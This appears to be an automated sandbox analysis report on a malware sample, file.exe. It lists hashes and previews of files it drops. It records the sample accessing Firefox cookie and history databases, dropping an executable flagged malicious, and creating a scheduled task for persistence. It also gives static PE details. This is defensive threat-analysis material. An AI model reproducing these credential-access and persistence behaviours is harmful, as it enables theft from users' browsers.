XlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsHIDHDAAEHI.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1905664
Entropy (8bit):	7.950076661528529
Encrypted:	false
SSDEEP:	49152:eE0/kh6mnC75ciMnJ5H9Fnxd5QhLTGDDG5tx0GefNZCKY3:WKCiiMbH9FnyhXa20Gi6T
MD5:	E91BDD398E42904CBC56344331953C6A
SHA1:	C755E1F2C0C5DE38EB5029A60129CD86AD7846ED
SHA-256:	52783DF94EA5AA0F1B29C4A9EA15ECADB2C469886A02030EE86A2DA56A8B43E9
SHA-512:	03E79400ECD6D50F9D7F694FE651235E1F7F3F6ECB632A94E719519A52C63C81CB7512510ED4C67DD207CFC65DB457E9DFF5EA147E18CEDA2EBAC241F405D9FE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PK...........@...........................K...........@.................................W...k.......D....................7K.............................L7K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...wiflwrzy.....@1.....................@...kkxseilb.....@K.....................@....taggant.0...PK.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsHIDHDAAEHI.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4685926130214684
Encrypted:	false
SSDEEP:	6:25+bINlbXUhXUEZ+lX1CGdKUe6tE9+AQy0lBL1ut0:lbI74Q1CGAFD9+nVBot0
MD5:	79C4DF300F6FA78BD78218D0F154A3D2
SHA1:	B5B75CD1FA8493334678ED39C1699737E533D186
SHA-256:	197D4326699E288FDEBD4A6240EC9B7711DFF4ABC9E4D059CB56ECDEBD783B80
SHA-512:	38ED15B015D9C54D96931EEFC2CF788757410F20960236396DF84F2389FF1E207CEA3C7E62CCD07DDE7E64DBBE3942B661D497D3B97C04363F457A7C8794ADB2
Malicious:	false
Preview:	......v.[.H.B..$...F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Chrome Cache Entry: 535

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (6097)
Category:	downloaded
Size (bytes):	6103
Entropy (8bit):	5.810626121287015
Encrypted:	false
SSDEEP:	96:tkyOdlihpFd66666jAJZfOc2X7zhz53dhir5SGVmH6666B6MMadKxKXIc2JpUQfD:tkhb4Fd66666jmZfOcazJ0SGVmH6666U
MD5:	ECBA4F4FC06BA5DDCCE115D1808EC1C9
SHA1:	E36E00B28D2A7FF31CEF0CF4E324CABBAD914CB2
SHA-256:	600C5165039929D17025B230A2F4B46E99714A5CFCE625D21965F651454D70E8
SHA-512:	A23659503D88CF401D9AA4F2BA2397A955459AC3D80900878F2A38E14D5B3106B3F5DEC44D101D3579CC0755BA29120B094D8162FEFB3F42885929C9A727B39B
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["jaguar cars","disney world muppets roller coaster","aaron bradshaw ohio state basketball","wisconsin dnr deer season outlook","how to get safari balls pok.mon go","peter cancro","test match cricket india vs australia","live action moana dwayne johnson"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMXRycnMyYzM3EiRBYXJvbiBCcmFkc2hhdyDigJQgQmFza2V0YmFsbCBwbGF5ZXIy8w1kYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFjQUFBQ0FnTUJBUUFBQUFBQUFBQUFBQUFHQndRRkFBSURBUWoveEFBMUVBQUNBUU1EQXdFR0JBUUhBQUFBQUFBQkFnTUFCQkVGRWlFR0

Chrome Cache Entry: 536

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 537

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 538

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132965
Entropy (8bit):	5.435198131884702
Encrypted:	false
SSDEEP:	3072:fdkXyPqO7UX1Hme9kZbs4Voc5ySnXqwQ2i6o:fmyWFHrp4Voc5ySnawQ8o
MD5:	2E9D21BC79F936350A9BC6B2CB5FB3E6
SHA1:	055CC2BF372A1ADB41DC37052EC01E846F0BCB94
SHA-256:	A3216EFD2D9695DFB35B640607FED34EA801CF180159B5EE894620D895749D98
SHA-512:	C2B24C388B815E1D011D75441C980A9FD18350FE1EC3904F8C6E2592268526CF1B44D7F96A8E9FEDE94DAA461C4C6DB33F91B05E81E5D72E43C9819EAF50C264
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 539

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 540

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944408436770681
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'828'352 bytes
MD5:	4bad8287c5a86eece84ae3eeef0e3ece
SHA1:	241ff4e835e0a51700838430a596e197259b3ee2
SHA256:	d605ba8b1c39b46eb25930d626732370bc4fbe2552a047fad1db96c2f7086d58
SHA512:	9e4e47dd222e5076d7384b395b8af7586536aa7358b576fb7813e59b4a6b7ca90da74a58702b68160cb01b2ba0b6c354509df8dad2dde5d10ac17fdebf2c21ea
SSDEEP:	49152:4ucGQoTHEJRMRseP6WimqVqX+WNdS9Crias7U6yJ:42HE8VPum2b4d6U6y
TLSH:	A3853373AF54FEF1C0C92A376D6343063AB1592019E363082AE97F3A65339EDC5B4A51
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FEC848C6E4Ah
pinsrw mm3, word ptr [ebx], 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FEC848C8E45h
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
